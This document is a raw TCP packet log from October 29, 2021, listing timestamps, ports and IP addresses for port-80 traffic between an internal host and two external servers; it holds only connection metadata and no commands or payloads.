Oct 29, 2021 15:31:06.236181974 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236212015 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236243010 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236268044 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236274004 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236324072 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236354113 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236363888 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236366987 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236417055 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236423969 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236468077 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236485958 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236512899 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236526966 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236552954 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236565113 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236593008 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236597061 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236629963 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236637115 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236659050 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236670017 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236696959 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236736059 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236773968 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236808062 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.236812115 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.236870050 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.237518072 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.239806890 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.251190901 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251239061 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251311064 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.251347065 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251431942 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251472950 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251513958 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251519918 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.251552105 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251554966 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.251590967 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251627922 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251667023 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251672029 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.251708031 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.251708031 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251745939 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251784086 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251821041 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251823902 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.251857996 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251863003 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.251897097 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251935959 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251972914 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.251979113 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.252012014 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.252012968 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.252048969 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.252088070 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.252125025 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.252131939 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.252161980 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.252166033 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.252201080 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.252238035 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.252275944 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.252278090 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.252315998 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.252315998 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.306422949 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.306652069 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.306713104 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.306721926 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.323565960 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.323615074 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.323652029 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.323678970 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.323724031 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.373286009 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.373321056 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.395061970 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.395093918 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.395113945 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.395132065 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.395152092 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.395169973 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.395188093 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.395195007 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.395206928 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.395225048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.395245075 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.395267963 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.395278931 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.461858988 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.461879015 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.461891890 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.461903095 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.461916924 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.461929083 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.461941957 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.461945057 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.461957932 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.461971998 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.461987972 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.461998940 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.462009907 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.462018013 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.462022066 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.462030888 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.462035894 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.462052107 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.462058067 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.462081909 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.462095022 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.462100029 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.462116003 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.462127924 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.462131023 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.462140083 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.462197065 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.462205887 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.509453058 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.511856079 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.511899948 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:06.528827906 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.528878927 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.528903961 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.528966904 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.528979063 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529011011 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529030085 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529037952 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529064894 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529076099 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529090881 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529117107 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529140949 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529159069 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529165983 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529187918 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529194117 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529220104 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529246092 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529259920 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529270887 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529287100 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529297113 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529323101 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529347897 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529362917 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529372931 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529391050 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529398918 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529426098 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529453039 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529465914 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529476881 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529495001 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529503107 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529531002 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529553890 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529576063 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529578924 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529604912 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529611111 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529629946 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529648066 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529655933 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529691935 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529716969 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529726982 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529742002 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529766083 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529781103 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529791117 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529822111 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529827118 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529853106 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529875994 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529877901 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529901981 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529922962 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.529927015 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.529984951 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.596707106 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.596775055 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.596815109 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.596880913 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.596924067 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.596939087 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.596961975 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.596976995 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597002983 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597044945 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597064018 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597084045 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597088099 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597125053 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597162962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597199917 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597213984 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597239017 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597244978 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597278118 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597316980 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597356081 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597362041 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597393990 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597399950 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597434044 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597475052 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597512007 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597544909 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597553968 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597558975 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597618103 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597657919 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597698927 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597708941 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597738028 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597744942 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597776890 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597815037 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597851992 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597865105 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597892046 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597906113 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.597933054 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.597973108 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598011971 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598026991 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.598052025 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598064899 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.598090887 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598129988 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598165989 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598179102 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.598206043 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598222017 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.598248959 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598290920 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598330021 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598344088 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.598368883 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598382950 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.598408937 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598447084 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598483086 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598495960 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.598521948 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598537922 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.598563910 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598603010 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598644018 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.598649025 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.598689079 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.665415049 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665466070 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665501118 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665545940 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.665549040 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665592909 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665607929 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.665635109 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665672064 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665708065 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665729046 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.665756941 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665760994 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.665796041 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665829897 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665868044 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665882111 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.665920973 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.665923119 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.665975094 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666013002 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666052103 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666068077 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666096926 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666100979 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666136980 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666169882 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666207075 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666220903 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666251898 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666253090 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666290998 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666326046 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666363001 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666378021 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666408062 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666450977 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666480064 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666526079 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666526079 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666563988 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666599035 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666634083 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666661024 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666678905 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666678905 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666718960 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666754961 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666793108 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666806936 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666838884 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666843891 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666874886 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666909933 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666944981 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.666973114 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.666996002 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.667006016 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.667052031 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.667088985 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.667126894 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.667140961 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.667171955 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.667177916 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.667210102 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.667244911 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.667282104 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.667294979 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.667325020 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.667329073 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.667363882 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.668586969 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.734059095 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.734108925 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.734185934 CEST	80	49846	193.56.146.214	192.168.2.7
